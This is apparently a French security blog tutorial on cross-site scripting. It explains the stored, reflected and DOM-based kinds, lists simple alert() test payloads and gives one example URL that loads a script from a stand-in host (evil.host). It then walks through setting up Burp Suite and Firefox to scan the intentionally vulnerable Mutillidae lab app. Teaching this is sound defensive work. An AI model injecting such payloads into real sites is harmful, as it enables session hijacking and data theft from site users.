Le Cross-site scripting (XSS)

La faille XSS est basée sur le langage JavaScript. Elle permet à un attaquant d’injecter un script malicieux dans une page web, en ciblant les utilisateurs qui vont charger cette page.
Elle est généralement due à une faiblesse de configuration dans la validation des entées utilisateurs.

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou avec un accord écrit du propriétaire.

Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Les attaques XSS permettent :

  • de hijacker (voler) des comptes ou sessions
  • de voler des informations sensibles
  • de modifier le contenu de la page ou rendre le site inutilisable
  • de rediriger les users vers une autre page
  • d’enregistrer les entées du clavier
  • de rediriger vers des sites qui exploitent les vulnérabilités des navigateurs
  • de tromper les users pour leur faire télécharger des fichiers ou entrer des informations

Types de XSS

Persistent ou stored

Le script malveillant est stocké dans la base de données et affiché à tous les utilisateurs qui chargent une page contenant le script.

Exemple

Un attaquant exploite un commentaire de blog vulnérable pour publier un script malveillant qui est ensuite affiché aux autre utilisateurs qui chargent la page.

Reflected

Le script malveillant fait partie de la requête de l’utilisateur vers le site web et lui est renvoyé lors de la réponse.

Exemple

Un utilisateur qui clique sur un lien d’e-mail avec un script malveillant dans l’un des paramètres. Le script est exécuté contre le même utilisateur lorsque la page se charge et envoie ses données de session au serveur de l’attaquant.

DOM-based

Difficile à comprendre. Le XSS basé sur le DOM se produit lorsqu’une application web écrit des données non assainies dans le Document Object Model (DOM).

Exemple

Lorsqu’un script côté client est exécuté, il peut utiliser le DOM de la page HTML où il s’exécute pour accéder à diverses propriétés et les modifier. Les objets courants utilisés dans le XSS basé sur le DOM comprennent document.url, document.location et document.referrer.

Technique de base

La technique de base consiste à mettre un script de test dans un champ de saisie de n’importe quel formulaire et à voir s’il fait apparaître une boîte d’alerte. Vous pouvez essayer quelques variantes pour vérifier si le nettoyage des entrées n’a pas été bien effectué :

<script>alert("hello");</script> 
<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>

Le JavaScript peut également être injecté par le biais d’une URL, sur laquelle une personne peu méfiante pourrait cliquer dans un courriel :

https://example.com/test.php?val=<script src="https://evil.host/evil.js"></script>

Vous pouvez trouver toutes sortes de vulnérabilités XSS, y compris celles basées sur le DOM, en vous promenant manuellement dans l’application avec votre navigateur et en modifiant chaque paramètre d’URL pour qu’il contienne une chaîne de test standard.

Trouver des failles XSS avec BurpSuite

BurpSuite est installé par défaut dans la distribution Kali-Linux.
Sinon vous pouvez aussi installer la version pour Windows

Configuration de Burp et du navigateur

Pour effectuer un test quelconque avec un navigateur externe, vous devez le configurer pour qu’il fonctionne avec le Burp.

Configurer Burp : Vérifier que le proxy soit actif

Tout d’abord, vous devez confirmer que le proxy mandataire (intermédiaire entre le serveur et votre navigateur) de Burp est actif.

  • Allez dans l’onglet Proxy, puis dans le sous-onglet Options, et regardez dans la section Proxy Listeners.
  • Vous devriez voir une entrée dans le tableau. Vérifiez que la case Running est cochée, que l’Interface est 127.0.0.1:8080.

Si çà n’est pas le cas, cliquez sur l’engrenage puis sur Restore defaults

Configurer votre navigateur pour utiliser le proxy Burp

Configurer le proxy

Pour plus de simplicité je vous recommande d’utiliser Firefox (et même Firefox Developer) avec l’extension FoxyProxy qui vous permettra de sauver différentes configs de proxy, et de passer de l’une à l’autre en un clic.

Vous devez ensuite configurer votre navigateur pour utiliser le proxy Burp comme serveur HTTP. Pour cela, vous devez modifier les paramètres de proxy de votre navigateur afin d’utiliser l’adresse de l’hôte du proxy (par défaut, 127.0.0.1) et le port (par défaut, 8080) pour les protocoles HTTP et HTTPS.

  • Dans Firefox, allez dans le menu de Firefox.
  • Cliquez sur Préférences / Options.
  • Sélectionnez l’onglet Général et faites défiler les paramètres du Proxy réseau.
  • Cliquez sur le bouton Paramètres.
  • Sélectionnez l’option Configuration manuelle du proxy.
  • Entrez l’adresse de votre proxy Burp dans le champ HTTP Proxy : 127.0.0.1.
  • Entrez le port de votre proxy Burp dans le champ Port : 8080.
  • Assurez-vous que la case Utiliser ce serveur proxy pour tous les protocoles est cochée.
  • Supprimez tout ce qui apparaît dans le champ Pas de mandataire pour.
  • Cliquez sur OK pour fermer.
Installer le certificat de Burp dans votre navigateur

Lorsque vous naviguez sur un site HTTPS, Burp génère un certificat TLS, signé par son propre certificat d’autorité de certification (CA) et stocké localement. Pour utiliser le proxy Burp avec les sites HTTPS, vous devrez installer le certificat CA de Burp dans votre navigateur.

Point Sécu

Si vous installez un certificat, un attaquant qui possède la clé privée de ce certificat pourra gérer vos connexions TLS sans être détecté, même si vous n’utilisez pas Burp. Pour s’en protéger, Burp génère un certificat CA pour chaque installation, et la clé privée de ce certificat est stockée sur votre ordinateur.
Si des personnes non fiables ont accès à votre ordinateur, n’installez pas le certificat CA de Burp.

  • Une fois le Burp lancé, visitez le site de BurpSuite dans votre navigateur et cliquez sur le lien CA Certificate pour télécharger et enregistrer votre certificat CA Burp.
    Prenez note de l’endroit où vous enregistrez le certificat CA Burp.
  • Dans Firefox, ouvrez le menu.
  • Cliquez sur Préférences / Options.
  • Allez dans les paramètres Vie privée et sécurité.
  • Cliquez sur Afficher les certificats.
  • Sélectionnez l’onglet Autorités
  • Cliquez sur Importer, sélectionnez le fichier de certificat Burp CA que vous avez précédemment enregistré et cliquez sur Ouvrir.
  • Dans la boîte de dialogue qui apparaît, cochez la case Trust this CA to identify web sites, et cliquez sur OK.
  • Fermez toutes les boîtes de dialogue et redémarrez Firefox.
  • Si tout a fonctionné, vous devriez maintenant pouvoir visiter n’importe quelle URL HTTPS via Burp sans aucun avertissement de sécurité.
  • Assurez-vous que le certificat est fiable pour identifier les sites web.
Vérification de la configuration du proxy de votre navigateur
  • Assurez-vous que Burp est en cours.
  • Dans votre navigateur, allez à n’importe quelle URL HTTP (n’utilisez pas HTTPS pour le moment.)
  • Votre navigateur doit rester en attente de la fin de la demande.
  • Dans Burp, allez dans l’onglet Proxy, puis dans le sous-onglet Intercept.
  • Ces onglets doivent être mis en évidence et une requête HTTP doit apparaître dans le panneau principal.
  • Cliquez sur le bouton Intercept is on pour qu’il indique Intercept is off.
  • Retournez à votre navigateur, et vous devriez (bientôt) voir l’URL que vous avez demandée être chargée de la manière habituelle.

Si les choses ne fonctionnent pas de la manière décrite, veuillez vous référer à la page de dépannage.

Trouver les failles XSS

L’exemple utilise une version de Mutillidae tirée du Broken Web Application Project de l’OWASP. Il s’agit d’une application volontairement vulnérable sur laquelle vous pouvez vous entrainer en toute légalité. Découvrez comment télécharger, installer et utiliser ce projet.

  • Dans Proxy > Intercept, vérifiez que vous êtes en mode Intercept is off.
  • Avec Firefox, visitez l’application web que vous testez dans votre navigateur.
  • Dans votre navigateur, visitez l’application web que vous testez.
  • Retournez dans Burp.
  • Dans Proxy > Intercept, assurez-vous que Intercept is on.
  • Saisissez les données appropriées dans l’application web et soumettez la requête.
  • La requête sera saisie par Burp. Vous pouvez visualiser la requête HTTP dans l’onglet Intercept du proxy.
  • Cliquez avec le bouton droit de la souris sur la requête pour faire apparaître le menu contextuel et cliquez sur Do an active scan pour envoyer la requête à Burp Scanner.
  • Vous pouvez également localiser la requête concernée dans différents onglets de Burp sans avoir à utiliser la fonction d’interception, par exemple les requêtes sont enregistrées et détaillées dans l’onglet HTTP History sous l’onglet Proxy.
  • Une fois le balayage terminé, allez à l’onglet Site map de la cible.
  • Dans cet exemple, le scanner a trouvé un certain nombre de reflected XSS .
  • Vous pouvez cliquer sur la flèche à côté du problème pour développer la section et visualiser chaque problème individuellement.
  • Après avoir cliqué sur un problème particulier, le Scanner UI fournit une section consultative concernant le problème en question.
  • Vous pouvez également consulter la requête et la réponse de l’attaque simulée.
  • En outre, vous pouvez envoyer la requête au Repeater pour un examen manuel.


Dans un prochain article nous verrons une cousine de la XSS, la faille Cross-Site Request Forgery (CSRF).

En attendant, retrouvez tous nos articles : Hacking, Dev, Sécu.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *